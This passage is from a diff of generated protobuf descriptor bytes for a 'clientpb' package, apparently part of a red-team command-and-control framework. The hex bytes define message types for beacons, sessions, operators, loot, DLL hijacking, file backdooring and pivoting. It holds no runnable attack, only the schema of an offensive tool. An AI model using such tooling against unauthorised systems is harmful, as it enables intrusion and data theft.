0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, + 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, + 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, + 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, + 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, + 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, + 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, + 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, + 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, + 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, + 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, + 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, + 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, + 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, + 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, + 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, + 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, + 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, + 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, + 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, + 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, + 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, + 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, + 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, + 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, + 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, + 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, + 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, + 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, + 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, + 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, + 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, + 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, + 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, + 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, + 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, + 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, + 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, + 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, + 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, - 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, - 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, - 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, - 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xed, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, - 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, - 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, - 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 